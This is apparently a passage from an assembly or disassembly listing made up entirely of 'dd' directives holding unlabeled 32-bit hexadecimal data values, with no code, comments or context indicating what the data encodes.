dd 8B4ABA6h, 381F5810h, 4C809012h, 9F2DB45h, 0C643F6Ah
dd 0B3995C21h, 40CB0247h, 4BC4D31Ch, 3A580343h, 2910087Ch
dd 0C80CBC46h, 0E868D9E5h, 0B9078405h, 89EBECh, 0A82CA2E1h
dd 65485026h, 5CA416B0h, 3A23036Ch, 582C4466h, 3FC52C33h
dd 1290B488h, 40BD8369h, 0EE8924DCh, 945479E4h, 631374ECh
dd 0C4044B06h, 0E700F9A4h, 444C189Dh, 68729A0Ch, 793A70EEh
dd 0DD61C96Ah, 0E3EB2802h, 2A4DD070h, 8E8217A8h, 1223EC00h
dd 263AFEADh, 87985B94h, 0D7EECAh, 0B835E6B9h, 1211365Ch
dd 5801BD8Ah, 604D2331h, 0C0AC30h, 26115CF7h, 8D508539h
dd 94816B0Ah, 2503F8AEh, 0A47866h, 695A9C18h, 0E21E3A60h
dd 5658F892h, 4C702C6Ah, 0FFF5308h, 94890A55h, 0B4217000h
dd 0E703E48Ch, 2C2FC640h, 0B6A001EEh, 0C4B0826h, 60070A8h
dd 0AFBD0107h, 399B5ED0h, 0F88C5BE4h, 310A571h, 0CC62E33Fh
dd 20720DBCh, 0C4242870h, 8E8F02C3h, 0CD2E75Ch, 18176C6Bh
dd 10074FBCh, 1E604C5Bh, 0A1AA9E72h, 984086B4h, 0B29BC957h
dd 7CA64C54h, 1F65E200h, 0CF91C87Fh, 0E50878C7h, 0AA80DD74h
dd 3B0DF2A2h, 0E25C7455h, 666F9B00h, 0F1ECD347h, 1811C930h
dd 1E698F18h, 15ECAA8h, 0ED873B26h, 81AB31EEh, 2773C648h
dd 22D8451Ch, 71AB00FFh
dd 5E46B2BFh, 9C20E537h, 9470E8Ah, 6906A94h, 26CB39B9h
dd 0CEB60170h, 0FA9BA75Ch, 7225F0C9h, 300B18CCh, 0F29A02DCh
dd 37083A01h, 0FEC0B107h, 33D5BF9h, 0C6C34063h, 5814D123h
dd 3F3883E6h, 88A6B071h, 0E2CA69h, 0E36A68E4h, 398466B8h
dd 28B52737h, 65C24620h, 343600E4h, 8D7AAA52h, 48C135D6h
dd 26D36C81h, 1F84F4h, 459E251Dh, 5A59C668h, 0B82AA21Eh
dd 69818D40h, 3C2126D6h, 0A8014F84h, 39F15878h, 0B818F75Fh
dd 5E70D21Dh, 0A59132CFh, 141064E0h, 3A5506CEh, 30480739h
dd 0FF7B8F78h, 0BD37BCA9h, 0D93E58h, 91115B6h, 0E20BC9h
dd 296594AAh, 0AF34C4C3h, 2698BB00h, 0EECFB5E8h, 38EF827h
dd 85CE5F8Fh, 33D815DEh, 57032E97h, 1139A6B7h, 9700089h
dd 1AA4FACh, 3401E541h, 0A0990B26h, 0FEC0CE11h, 70DE0080h
dd 5FECADCCh, 0CF1A755Dh, 1358AE2Ah, 0B69DB0ECh, 348D1422h
dd 4400A08Fh, 0AE40F9D7h, 41B0D279h, 3AB17114h, 94E800BCh
dd 0B6C6B9A4h, 6640C011h, 0E20C8537h, 3C873300h, 4FAA0AEBh
dd 20426A2Ah, 20A52454h, 0A0190FA4h, 0C8A321E6h, 2030D87Bh
dd 0A20130D6h, 0EA7112E2h, 0DD0007A0h, 24B680DAh, 924A7BAh
dd 0C3C24495h, 905049EAh, 43240708h, 0B86094B4h, 0A9122C39h
dd 14409294h, 121110BAh, 2180E5B0h, 20C80B3Ch, 0DA817A5Ch
dd 6F8CA3F3h, 7163501Eh, 9850EB8Fh, 0B990C198h, 27510CA8h
dd 1A074207h, 0C9B739CAh, 8E6138CAh, 0BC24DDDAh, 4F1CA04Bh
dd 590A423h, 0D4F282F0h, 0C28407EAh, 20E02FE2h, 75E9EFF3h
dd 7F4CC600h, 0C7A0F1A6h, 0E43C646Dh, 872487EBh, 0EE48CCBCh
dd 8D2110C1h, 58A43609h, 0BFE01D3h, 0D49589B9h, 7B494B39h
dd 0B43C1EE0h, 1040A90Ch, 0E22E3071h, 0F7157FE0h, 0EB354C0Ah
dd 4091E45Ah, 2FCFB3Dh, 0CF508FB3h, 2863BC97h, 0C8C1FABBh
dd 0E849D204h, 5209089Fh, 0E82884CDh, 0ED3A33F4h, 7FBBC708h
dd 61571813h, 0F19A7100h, 0CD3748h, 994EC02Dh, 7A587C71h
dd 98C88EC2h, 3458481Eh, 1020E1BDh, 0AEC53071h, 0DB87CFB8h
dd 0E4F2B209h, 7289882h, 29D8B238h, 87F85D86h, 0EB3E6ACAh
dd 0BB01340Fh, 80CB6EC6h, 4833DF60h, 0C5AAE1C8h, 0C0BD3871h
dd 0EA114288h, 939C300h, 5C4765FAh, 826005ABh, 81B4A354h
dd 40848F47h, 0C61DA7CFh, 0E6CA5800h, 245DE438h, 0A2AE1FCBh
dd 0D34A00FCh, 0DB63DCFh, 92DB8E00h, 6BD9B2F2h, 890C9150h
dd 0F0A0A63Eh, 101C202Dh, 6EB3E200h, 71E770C6h, 35B8096Ch
dd 2809DAh, 8BC706D8h, 0FB00823Ah, 726A46E1h, 2466BBE3h
dd 6440C183h, 0DC001F51h, 0C78AE31Ah, 480B60B7h, 3D7B661Ch
dd 3641C318h, 92AAF24Ch, 0C6C10CC8h, 0EC28162Ch, 8D344092h
dd 1CD87027h, 89607B9h, 0C02ECD57h, 0B2EDE839h, 0CC09A107h
dd 0D4E1F33Dh, 30619566h, 0DFFE0801h, 95AAC34h, 1684A048h
dd 30B48C88h, 35C32EE1h, 11057134h, 0CA98FC80h, 423C9246h
dd 45112E3Ah, 1F3F8500h, 18B10ECCh, 0B0FAEBC8h, 30C0E3B0h
dd 0D7D547DAh, 413914DDh, 1100B445h, 0BCAECA02h, 0C314B322h
dd 8CACD372h, 31B73912h, 29F889A9h, 0BC708937h, 18948813h
dd 2D10EA10h, 0E857296Ah, 9F6CC600h, 0ADFEAA0h, 44C129CEh
dd 0BD742608h, 0E45466A4h, 934CC49Eh, 98CBD48h, 0E62002C0h
dd 2A74469Dh, 90EC1A55h, 0C7091CBCh, 37C183A9h, 8FC24E65h
dd 0D7B60880h, 0C906989h, 6DF37119h, 119E6738h, 24A86893h
dd 6744254Fh, 9410894Ch, 0C0835BCEh, 4C50BC32h, 0B8408091h
dd 841150AAh, 894CA18Eh, 0B3429C30h, 71C08008h, 43C48ED1h
dd 3ED910C4h, 101EB084h, 8FF09A98h, 0DA49C06Dh, 92D869F1h
dd 0A06418C9h, 0D4364CA8h, 0ADDC00C5h, 0B69FCEE1h, 4800D525h
dd 0EAB8E6BFh, 48E9C6C0h, 9DA55091h, 0D3BC6054h, 0CA8458F9h
dd 6C4DD40h, 0C807577Dh, 2E0310BDh, 0BA928E56h, 639AA0CAh
dd 7D8BE226h, 78427BDCh, 0DEAE39D5h, 857B103h, 3871CD9Fh
dd 6492509h, 0C7A821ADh, 0F08C6878h, 0B3D8DC09h, 0C818D979h
dd 2118A6F8h, 0CF483BB7h, 56231380h, 6B454A4h, 34397D09h
dd 0AC582010h, 0C024468Dh, 0D39EAFD8h, 0A500B1EDh, 0B68066E4h
dd 92F84DC6h, 7B3B0F90h, 17E224h, 0B6B2DF44h, 90786502h
dd 0E5089150h, 0C0148350h, 477DEE14h, 0C1FA0894h, 1FE9404Ah
dd 3D200A57h, 562074B8h, 0E84DA4C1h, 219D4176h, 50F88704h
dd 39A15AC1h, 0C9E2668Dh, 0FA02B280h, 0EC00D204h, 0B511AF27h
dd 0F128E558h, 0AC62018Eh, 31C73C44h, 3201C38h, 64C730BDh
dd 0C6BA1606h, 1818B7BEh, 515F88B5h, 7C943C71h, 5C304F00h
dd 0E2E8BAh, 0D0C4091Ch, 6505EACBh, 4EBC4C00h, 0C0BD268Fh
dd 9BA92C17h, 0BF117F8h, 6822D234h, 8909EA47h, 18740050h
dd 1EF093F6h, 409B9CE4h, 0EEBDFA61h, 49183995h, 0C3D065F5h
dd 5A140070h, 0F03DE536h, 5F4CFB25h, 6520FA0h, 95D5C0E0h
dd 60918EC1h, 86D93040h, 0F7F2DF50h, 3C84C249h, 852CBB38h
dd 81FFD4E3h, 30E61080h, 0BD3E001Ah, 0BCC80908h, 0BF004F6Dh
dd 1F853BE5h, 0BB1E7D4h, 0AE698DA1h, 142818A0h, 0D7F80D50h
dd 4600BF8h, 0C845F618h, 0F49AB2h, 88859765h, 0C7B05A74h
dd 30171D24h, 0F97B4D81h, 0A880ED22h, 27E0160Ch, 49C3288Dh
dd 0F83D59FEh, 584F7194h, 8458CC87h, 9C8FE71h, 2FBE39A1h
dd 84046C09h, 95008036h, 0BF0944EDh, 0B852EB25h, 59FA24h
dd 0B1E0AFE1h, 783669CEh, 0A4C42E16h, 70111C00h, 288D38F6h
dd 4C94C055h, 1E0AC42h, 0A060353Ah, 7AE21D18h, 4FE292h
dd 20DD5E99h, 4871160Dh, 76C6949h, 0B049A495h, 0D959C650h
dd 0E8AC0E7Ah, 0A65DF0ECh, 6F18B0F4h, 1F00FF90h, 0AE11A8B5h
dd 92DBAD8Dh, 1C6C3E58h, 25CCF017h, 8728002Ch, 0E2414606h
dd 8DDCB109h, 0BD68419Eh, 16AC3064h, 2E33BBAh, 7C80C774h
dd 713F84C8h, 0A0759230h, 5FCAB9Bh, 448D4626h, 48BC4029h
dd 9E1B8C50h, 17070905h, 9C922B71h, 20D06834h, 75CEE4EDh
dd 0D6B60023h, 8F1C9EF9h, 6D672C4Fh, 7A64B968h, 640FC0C1h
dd 1DB5892h, 0BF27EB80h, 9C60FA66h, 0DD81EDF1h, 6B372C74h
dd 0FC0860EFh, 49324E0h, 0E4AC2339h, 0B502CC30h, 33EDDB9Ah
dd 4CC0C213h, 838F0634h, 60C4BB5Ch, 8B042E98h, 0F88A7142h
dd 0C628DC92h, 8040EE54h, 80EB054h, 83AA1458h, 0C22722BFh
dd 0CD20C8DAh, 0E67892B3h, 0E5EE17h, 5DFD9689h, 0AFD921E6h
dd 0D1022890h, 0B702BABEh, 0A1148CF5h, 2ECE80C3h, 0D10435FCh
dd 0ECEE64C5h, 0C0D004C4h, 0C444B471h, 0B38767A0h, 804F2018h
dd 80513B58h, 0A89AE8C1h, 60804F25h, 0A0FF17D4h, 0A8C08Dh
dd 84B82E51h, 5648D12Ah, 0CA428901h, 621715Eh, 0C2695880h
dd 6A920BE2h, 0D63A3E17h, 1DB4C420h, 813400A1h, 375689C9h
dd 9338E97Bh, 13E703Bh, 70C18ED1h, 0C74D871Ah, 6F6CAA90h
dd 6EECF80Dh, 0E9032604h, 0A08799Fh, 1F74C268h, 24DE89h
dd 3BC5320Ch, 0BD005558h, 77D1A17h, 345D5F7h, 8105E5C1h
dd 4B7601C5h, 1D2AF507h, 0EBCF1703h, 562886EFh, 402B0118h
dd 0E831236Ch, 328F46E9h, 55435B1Eh, 1050D90Ch, 0B04107B3h
dd 39B0424h, 5BA32CD8h, 840F3898h, 0B35C1131h, 6600022Ah
dd 0AADD0C8Bh, 75D7A15h, 0FFF9F1E9h, 5350B610h, 51663A52h
dd 8030B300h, 8C0FEDC3h, 24D48A36h, 0C0760F12h, 898305EBh
dd 4C1807DCh, 0E210E3D0h
dd 9479C427h, 93BA003Fh, 15713647h, 0A802EAC1h, 24348980h
dd 9100E0BEh, 0F2311C4Dh, 6D6015Eh, 4C6835Ah, 8B722287h
dd 0B0C121E6h, 0CD1EE99Ch, 515B8E80h, 0FE2553B9h, 0CF29661Fh
dd 79A9E68Dh, 33503306h, 0DEEC148Bh, 5251B107h, 79B61FBAh
dd 6337FAF4h, 0E18954DBh, 80EB07B9h, 5684BD0Eh, 0F2012C42h
dd 610AFA5Dh, 0EF804272h, 0A39FC36Bh, 0D1408E2Dh, 6001B9B1h
dd 81468705h, 0C0DF35F1h, 1CD9F716h, 83C1E1D1h, 49E3E907h
dd 0E6023478h, 88B0F02h, 0EE0E4825h, 0A7900137h, 5EF08932h
dd 0B4C24148h, 0EAE5105h, 0F8DB9D74h, 0E7EF2CCh, 7B96A3FFh
dd 0C9E3007h, 83BC4A9h, 0A08BE128h, 8DA48178h, 3702C1FCh
dd 0BE9CB28h, 815D0461h, 40EF3533h, 3E0C180h, 79565724h
dd 1AA65407h, 7A3B86F3h, 2BF601ABh, 0D5315659h, 34EBE45Ah
dd 4B5220Eh, 34A5D429h, 6BC72C8Ah, 0F7241010h, 0F68103DEh
dd 40C25178h, 15A0CEB0h, 0F2D121Fh, 8D33A97Dh, 0EEE90503h
dd 4D10050Dh, 218FE380h, 21835874h, 68BD1128h, 8F865731h
dd 0CFE9C6DFh, 0F506AB4Ah, 347A4849h, 653D3064h, 57DED19h
dd 178C9158h, 0BF090CFFh, 63AC0D6Ch, 1298FA01h, 29E2EA3h
dd 64136859h, 0B850FC98h, 10579400h, 0E8D14014h, 0A7D051F7h
dd 0C2269CC5h, 0CA5B5628h, 20CC81A6h, 505E782Ch, 506807C6h
dd 1C6953h, 15F7BB24h, 0EBC139ACh, 0E3280373h, 4740C902h
dd 1DB30335h, 44012142h, 83FB5644h, 51019682h, 88420505h
dd 680B8102h, 29C42A01h, 72D51D0h, 4023A348h, 0DCFFF61Bh
dd 1690DD44h, 82F50128h, 59384100h, 48D8F74Ch, 0C4E91840h
dd 0C083308Fh, 4870212h, 4B8CEA24h, 74325551h, 4C80E3CDh
dd 1A747F12h, 18001605h, 200D56A5h, 98756032h, 313B0CB4h
dd 0F0BE2633h, 7004BF2h, 49C1EA81h, 0A21E1FDh, 9BFEE9D5h
dd 0E6EF84E0h, 0F7D6C148h, 0C00247DFh, 1D238DC7h, 0FA89D303h
dd 4414D5E9h, 0FC8A333h, 5B6DEE53h, 90179AC4h, 2093C29Fh
dd 2C5AD009h, 0C98E870Fh, 0EB5D7F0Eh, 3CE5E946h, 0E9C15347h
dd 2C128A21h, 0F0E90602h, 0F7104954h, 1272FEA4h, 83E04573h
dd 0E19A1DC1h, 2666D390h, 5F198D90h, 5BAA5C31h, 0BA49F34Bh
dd 5FE976D8h, 0BF106960h, 7A76708Ah, 6A87304Ch, 2E4C014h
dd 0FECC801Ch, 2553C45Fh, 0CFCAB958h, 0F38A2CBCh, 33720F68h
dd 58DD5038h, 5CAB3C83h, 2FBD4AAh, 62E0CF81h, 0C1806FA1h
dd 0D04526Dh, 67C8E918h, 1EF9BB22h, 8960550Eh, 0C4A7DCABh
dd 851973E5h, 0C2312200h, 5AD30158h, 5C92A187h, 2AE96A24h
dd 2CC84829h, 95FD5EBh, 1C866CB1h, 0C718F31Dh, 0F7395758h
dd 5F0BC2D3h, 83A9C6E9h, 23430400h, 0DAB02B8Eh, 0BF575000h
dd 5196398Ch, 5D7A30E9h, 0C8845C28h, 0C9DCBDA0h, 0DA68A8C2h
dd 98CC683Dh, 4914996Eh, 6FA45414h, 5AC059A2h, 0E91408A9h
dd 24620BD2h, 7519257Eh, 0EE60F90Ch, 333C905Bh, 5A72F15Ch
dd 0B7EA05B1h, 83E35F0Ch, 0BD401F6Bh, 581A8B70h, 0B8A43AAFh
dd 0E55E1232h, 114A3F0Dh, 3AE2C734h, 6E8675E6h, 0E9308E0Fh
dd 0A5BE5602h, 64103853h, 26FF0BD8h, 50033FA4h, 4A8A137Ch
dd 0F556B386h, 1A9EC100h, 0CF01B192h, 9A27FC59h, 0DA891EE5h
dd 0C17E65Bh, 0EB812CA3h, 84D1A0C4h, 60C20B13h, 68556EA0h
dd 30262C7Ah, 2008C027h, 0F8ED8003h, 156774Ch, 20F7DD58h
dd 3E545855h, 0BBBC229h, 0DB996853h, 830B82D7h, 413302EDh
dd 6BB3181h, 89AC4841h, 7DEA709Ah, 282E83A4h, 0BA030026h
dd 5187E46Dh, 4B51AF50h, 42828BEAh, 5E08950h, 3C113AA3h
dd 0BA54FD60h, 0A57BF4h, 0F3F28138h, 52350446h, 0C173F762h
dd 0CF8F0708h, 0C8C5C0Ch, 0B60F94C2h, 876B42C8h, 68A13Bh
dd 0F6E80E2Dh, 0C51F01C3h, 4B895E58h, 283F148Dh, 31FBEFC0h
dd 0AD38D932h, 44AD2155h, 4D1214DEh, 458A8B98h, 50EEC180h
dd 1687F605h, 7376B4Ch, 31D107C8h, 819CA5E9h, 314BC36Dh
dd 0F357C94Ah, 0D0FFCA93h, 0CC17F88h, 0EAD104E2h, 6C2658F6h
dd 55150D1Dh, 3CD213F4h, 2F966444h, 0B25CAD54h, 52991951h
dd 0B0319A33h, 685C0D06h, 0BE1758FBh, 9D03D5D0h, 8723522Ch
dd 52F5B43Dh, 0E47719AFh, 0D74458FEh, 9B528E9Ch, 59F1BF8Fh
dd 2A57C983h, 69EA7C7Bh, 0DF118387h, 9201C1BEh, 0C849F53Dh
dd 54F7315Eh, 66C38B42h, 4A068AC7h, 66E9C145h, 3E60F602h
dd 0DCB89DB4h, 4D26C67Dh, 0F181BDF4h, 1FA82FFAh, 0CE010A60h
dd 39216A12h, 61CB895Ah, 0E96E0CA5h, 0A7C9E36h, 60EAF01Dh
dd 10C685A0h, 7851317Ah, 847A2198h, 2909E908h, 7B62C297h
dd 0CD4B686Dh, 6228FC9Dh, 3C878CE2h, 40E6F269h, 6549CA4Fh
dd 5762D812h, 9B85F309h, 31F6C17Fh, 7D519388h, 4C53BE14h
dd 49F903E4h, 8C4558EDh, 1BE44E80h, 0E9151250h, 52075257h
dd 698D09F7h, 5CC08A06h, 58638760h, 0B3E18951h, 1CE90AB5h
dd 7AC838C9h, 870622B4h, 0C15CE581h, 21368CE9h, 0F3FC413Ch
dd 6F2D6704h, 651602CEh, 0B9D93078h, 31F0718Dh, 8F70CF5Ch
dd 33E2E952h, 220C4027h, 0A40624E9h, 63E39222h, 0C0C8310h
dd 10164EE9h, 89D402BAh, 0FA01F94Ah, 315D9740h, 6E80E694h
dd 8859CE30h, 0FE5A1EF4h, 0DA06F9CCh, 0CAFC13E9h, 8376438Ch
dd 83246A91h, 0B6F036B8h, 2BA8012h, 0B9C35630h, 0A988128h
dd 44405C3Fh, 11D242F1h, 840F4700h, 4C109A06h, 75283E53h
dd 96FB0079h, 0D789A4B7h, 0FD0C295Ah, 215369E9h, 70AF0DC3h
dd 48572E39h, 3194D85Bh, 0B50DB212h, 84301FD3h, 71145CE5h
dd 50A4B5A7h, 0CA3C8E8Ah, 0D081F425h, 280A5268h, 370C9633h
dd 3DEB410Eh, 0CFBDFB3Ah, 70ED0198h, 0F2EE5856h, 0EA258362h
dd 0C709E3D8h, 0B062FB3h, 0ABDE517h, 50457683h, 1A7726EFh
dd 0EB835A06h, 256D3304h, 832F999Dh, 269C5871h, 71AA4EC5h
dd 73589096h, 77053F2Fh, 0AC7CE00h, 0D6F75891h, 606C998h
dd 0A1728B0Fh, 43F6018Fh, 1559804h, 1A0070F0h, 35880F80h
dd 826CDF4Eh, 0DC717955h, 1AE0D98Dh, 58083A60h, 417DAE88h
dd 0D1E6E86Ch, 4B69E8C1h, 40924828h, 30F03583h, 74680417h
dd 0D4CD034Ch, 2CF1519Eh, 1E5A94C7h, 3D44BB53h, 18C20D41h
dd 5F2469B4h, 42E46560h, 71DC9E19h, 1A270B2Bh, 5E5E4113h
dd 0AB0D2D95h, 2144E358h, 0FAE8924Bh, 0F2F09874h, 0A0109C70h
dd 566D02C7h, 1C8B735Fh, 21F3DA44h, 203528h, 66F37AFh
dd 8A0F0D09h, 0D13F2289h, 0E0C383EEh, 0D6FB3B69h, 214CBA6h
dd 782740ADh, 0A1C4B384h, 3352078h, 60FE098h, 0CF39B0A7h
dd 698C4CC8h, 0D8DB50F7h, 0BB6666A4h, 28F10B67h, 0A76808EFh
dd 8155004Eh, 0AB0E09C7h, 0F7045C76h, 84EB42C9h, 586BA880h
dd 16F1F41h, 8D1BDFBh, 402A1D20h, 0D9904064h, 6D629931h
dd 96043FC2h, 0C46B7C08h, 3090496h, 85A63C87h, 98DDEE7Fh
dd 50560EA6h, 0F5C00A59h, 2401E45h, 30270CC0h, 15018A1Dh
dd 801AE9EAh, 94D0AA40h, 0B435004Ch, 0C17607DFh, 0BECAE850h
dd 0BDD08F41h, 4E18265Ch, 0EF6B1A90h, 2F2661h, 945BDE88h
dd 0B021FADh, 0B0143426h, 0B672F4D3h, 0A6D37A5Ch, 8B12240Ch
dd 61858692h, 1720175Fh, 0B25A5107h, 130A3334h, 8D5B64F2h
dd 49A43C62h, 0D3FBC441h, 0F69AB593h, 2A2C847h, 59CA2905h
dd 988725CDh, 0D028DABBh, 8C0FE97Dh, 0B41EB3D3h, 0C7C28913h
dd 0D86840ADh, 4074286Dh
dd 0AA4C01FCh, 95E9DE80h, 0DD363958h, 54B376BEh, 70DE183Ch
dd 76AC61Dh, 29C53D10h, 0D765D3F3h, 0E1686609h, 71409A0Fh
dd 584FA4B1h, 3C948DE9h, 30B0B701h, 0E3C05BFCh, 0F3801958h
dd 5047CCF2h, 2B551F6h, 0E8885007h, 0C540D0F6h, 0B8536658h
dd 7E8509A4h, 2F043418h, 215A017Ah, 32621C4Fh, 76A6EB2Ah
dd 68B63259h, 528F3C87h, 20BBDC6Dh, 0F78003DBh, 0AC17B41Ch
dd 0BF18BFFFh, 0C2F9273Bh, 0C50F7C9Ah, 0E6EB28BBh, 9414E381h
dd 0D129960Bh, 6D08B93Ch, 5B5A1329h, 15C35C08h, 838CBC59h
dd 9E26680Ch, 12698539h, 12D4C73Bh, 67DE97A2h, 0BB2AC1F5h
dd 9B4B3451h, 6DD011Fh, 509BF15Ah, 4E11909Eh, 0F360409Eh
dd 5471A2B7h, 0BA60E894h, 4C151C07h, 603B968h, 4B23CD63h
dd 4933038h, 0EDE97069h, 77FFB8D0h, 0BF0B23Ch, 542F23F9h
dd 43E9B0B8h, 9C5D5940h, 40B088C0h, 0A1F83009h, 0E689569Dh
dd 6D06468h, 5CD74192h, 0EC0BB050h, 0C348285Eh, 53520304h
dd 0C7B6EBB7h, 2585FE04h, 16F44D04h, 1374C8B4h, 0D1E9E7Ah
dd 300D70C6h, 0ACB25E75h, 0C4EF504Ch, 53054CABh, 919F0C54h
dd 0FB1ECF8Dh, 52C0A513h, 6AFFACBAh, 4A015C7Eh, 607E474Ch
dd 84ED2B0Dh, 877B4750h, 16286334h, 0A157FC0Bh, 0DF015F29h
dd 24C642E6h, 31003C70h, 5815E9D2h, 1C1EAEA4h, 1812669Dh
dd 0CAC12932h, 3F85C0FFh, 2D0EC0FEh, 309F7A81h, 0E84046B8h
dd 80E707D0h, 3FFE0FC7h, 7C1EC8Bh, 55A03EC1h, 5B54CAFFh
dd 85410092h, 18E9AB15h, 4A953169h, 0F464EFh, 0E28841F4h
dd 0F6DA8658h, 4D54D365h, 0CD0036B3h, 5179C86Dh, 6F266BB9h
dd 0E102F1A0h, 0E1921D29h, 2F74CF04h, 0BD88998Fh, 0C0D74EB0h
dd 0F9F107E5h, 4DC07492h, 2467045h, 1FF2A058h, 0B6BE0402h
dd 835D7DE8h, 5F0DA16h, 0CE680129h, 0F83C0826h, 7DB85971h
dd 10D8034Ch, 4E263C55h, 0C6751735h, 0EE59CC54h, 83C603DAh
dd 124C940Bh, 203A3F22h, 886CF249h, 0AC9856E6h, 2244802h
dd 497C2917h, 0FE175E20h, 28F70FCFh, 0F82C213Fh, 0B025C5Fh
dd 98EA0E9h, 9084063Ah, 0AD66074Fh, 52CC373h, 6822C249h
dd 0FACF8235h, 85704DE2h, 22815D5Ch, 96EB079Bh, 0B4B55CAAh
dd 0F7C0B06Bh, 5095D000h, 114173B8h, 9A25007Fh, 356C0D6Dh
dd 0A713AF80h, 0AF0131ACh, 0A6E9EF01h, 45A8C50h, 0C8281D19h
dd 59660E2Ch, 5E39D8CBh, 12C8285Ah, 8B004BBAh, 84EA813Bh
dd 0BA54502Eh, 130A208Ch, 1B7B4A5Ch, 125CCA3Fh, 0C6B08F0Eh
dd 2AE49EFDh, 155AD524h, 694D4C0Ah, 320A8602h, 3104E113h
dd 30F059C6h, 7938CF1Eh, 4E0C2C60h, 3F14A11Ah, 0A372C301h
dd 140C4008h, 20564E58h, 5EF30127h, 0B52CF6B1h, 6B680702h
dd 1EC7796Eh, 45F34B50h, 4F2D8866h, 50AF22D7h, 295919C7h
dd 7B469239h, 0ECD19058h, 0F973EE5h, 4C80916h, 1F444A4Eh
dd 0A10804Ch, 81E6945Ch, 4D782829h, 6DC7FD52h, 0EDC30091h
dd 29FC226Eh, 96EAFAD9h, 0D3310C22h, 5E9A6992h, 74EB517Eh
dd 79002DA3h, 5224AF50h, 0C420FF68h, 1D5D8775h, 0D1F7CD06h
dd 0E5811F08h, 3EB909C3h, 5FB0A803h, 0E7417FE2h, 7E6B604Ah
dd 38C60CDEh, 0D4387974h, 0FD006504h, 298C1848h, 489859CDh
dd 0E9305D4Ah, 0BAEBC0E9h, 2242211Dh, 49CEBE81h, 74871D56h
dd 57436559h, 0CDE9B221h, 4F06C558h, 0F8E18D0Fh, 81F9642h
dd 0EC4337EFh, 620C4A21h, 9343EA22h, 20884A4Dh, 718412EDh
dd 64C953Fh, 0A5784947h, 3A01335Ah, 36F2685Eh, 4CC2CE68h
dd 0AE82BE57h, 6EEC2834h, 9C09745Ah, 50DD5ABAh, 0A652C929h
dd 0CE91209h, 581A32FBh, 1C4095EEh, 22D86923h, 1D9904CEh
dd 0D1341491h, 8948C149h, 343066E7h, 33C80C83h, 2DC86A21h
dd 4025173Dh, 784DB811h, 16987BEEh, 3ABEBCF8h, 0BA066612h
dd 0B00F0F35h, 2EC65CD3h, 0A80B2C2Dh, 2D55654Eh, 4F7A734Fh
dd 0AC889435h, 2FEC5932h, 0F4CEF17h, 676641F7h, 0EE3D17F1h
dd 7288BCE1h, 380811BCh, 60BD2043h, 805B26BEh, 300BD9F2h
dd 0B8148BD4h, 30CC8695h, 0F608C1FEh, 0B20A52DCh, 0C7D8E990h
dd 5173BB87h, 0DBF75811h, 7A70AC20h, 0F590578h, 0C8842E80h
dd 5B122F97h, 3F0518BCh, 0ACDDFB54h, 80C37D31h, 2C5ED189h
dd 18D65857h, 43EA3F52h, 12FDDBCh, 477F6849h, 77502923h
dd 992FE0Ah, 0CB7EE91Ch, 7A0BEB6Bh, 2154B0Bh, 3416E8Ch
dd 0A015CDFEh, 4F95F648h, 0FAB1B805h, 5F7AF9E4h, 6828308Dh
dd 32955330h, 1D1D7B99h, 225397EBh, 0D2C85B87h, 22BC27E9h
dd 3802492Ch, 0CE033E68h, 336700CAh, 0F18122B3h, 6D026B55h
dd 5E890F64h, 8081AF7Fh, 1B19686Fh, 0B1D1092Ch, 0C2495C66h
dd 56D53879h, 6F347B5Ah, 0C8B20A96h, 5FFB290Fh, 59131AACh
dd 8CD4F626h, 1887708h, 8664F380h, 0F6EFCBE3h, 10D208D2h
dd 7302390Dh, 42C1492Eh, 81249072h, 0B8A626DBh, 0B902032Dh
dd 3655C0E8h, 4E126C1h, 49136Fh, 22DF25DFh, 709801C8h
dd 5DEE2903h, 271C5B68h, 8482C74Fh, 962FB21h, 3926AD5Ch
dd 0D210F3E8h, 0E1D74950h, 3F800C20h, 5C2EE8C3h, 8E0F8580h
dd 0CBA25E6Bh, 9E940AF8h, 58305259h, 2D2A0B48h, 0C78A00E7h
dd 0E720127Eh, 929C7970h, 0C964BB0Bh, 0E915323Eh, 783F20AFh
dd 4EDA445Dh, 7F843153h, 4A763F8Bh, 437574EFh, 1B42B8C1h
dd 650500CFh, 11074F5Eh, 8B79A335h, 0BC20153h, 1CE9505Bh
dd 0DAF6ADA0h, 3048E280h, 93473EFBh, 0D42175B8h, 0B2074282h
dd 1A4A1D8Dh, 0D9D26AC2h, 0E97B6661h, 0BEA5BC15h, 0E99C3C15h
dd 0B52156D7h, 84040313h, 0E487AC7Bh, 4C06FA09h, 255972E2h
dd 0E30214D3h, 0E50BBBD6h, 0CFDC0C03h, 0A695F61Ah, 0B01F56ECh
dd 5585A690h, 202A8EC5h, 7CF78022h, 72F4FAE0h, 446FD69h
dd 12D26BDEh, 44CC7391h, 7737E314h, 82F98A8Eh, 54F97B4h
dd 12C883C3h, 62B6FB3Ch, 6866025Ch, 408B72Eh, 0A0E9FE30h
dd 0EF95D1E1h, 89062006h, 71E80F16h, 268CD508h, 66C30160h
dd 0F1161F68h, 218254D3h, 518B76D6h, 7CBB3A8Fh, 0D30F816Eh
dd 0C460529Fh, 681B40D2h, 1027ED27h, 9B5F54F4h, 28948B2Ch
dd 68CF2A49h, 0F6F240FBh, 80309641h, 8E83DC1h, 0A5F2602Eh
dd 0FA95BEB1h, 1B8A56F9h, 59C913FCh, 5A96A8C0h, 0C4C73437h
dd 3D9AF364h, 0C9F754D2h, 0AC4CBA6Eh, 0F6430BC4h, 1C689C50h
dd 51F8005Bh, 0D1F6C9B1h, 1EC18002h, 0F9883BE9h, 224B6A07h
dd 65B5255Ch, 0DBAB49BAh, 0E8A05BEDh, 9D1E679Eh, 477254Bh
dd 4EA8CA6Eh, 0E2B583A3h, 63532C5Fh, 0ABEB8180h, 0F6296387h
dd 82544DD7h, 8468C204h, 0C084EC59h, 640740BFh, 0E9CA0C29h
dd 311E2D43h, 782EFC9Ah, 876999D4h, 994BD0A3h, 0AD2054BFh
dd 6AEFDF2Bh, 0D0AEC9A0h, 43311741h, 64033BFh, 14BE10FAh
dd 8BC3B91Ah, 70C5EADh, 57D2F759h, 8DD46EAh, 143FC0A0h
dd 0D648D00h, 75F5D4Ch, 9417735h, 0C2294F24h, 81809ED1h
dd 0C9678FF2h, 2EE9256Ah, 0D829C0C0h, 0DC4DC6EEh, 0B2A2929Eh
dd 26B3EDCFh, 5690E15Ch, 0B576825h, 84B45F5h, 571D30D4h
dd 9630788h, 0DD03555Fh, 1D005EE1h, 7EC5BE56h, 81320Bh
dd 0F352D6EEh, 0E3FBE91Dh, 49B94BA4h, 0A6EC5444h, 0A4EB5BCDh
dd 1C15007h, 4A6058C3h, 0FB09A002h, 8F3C528Bh, 321C8712h
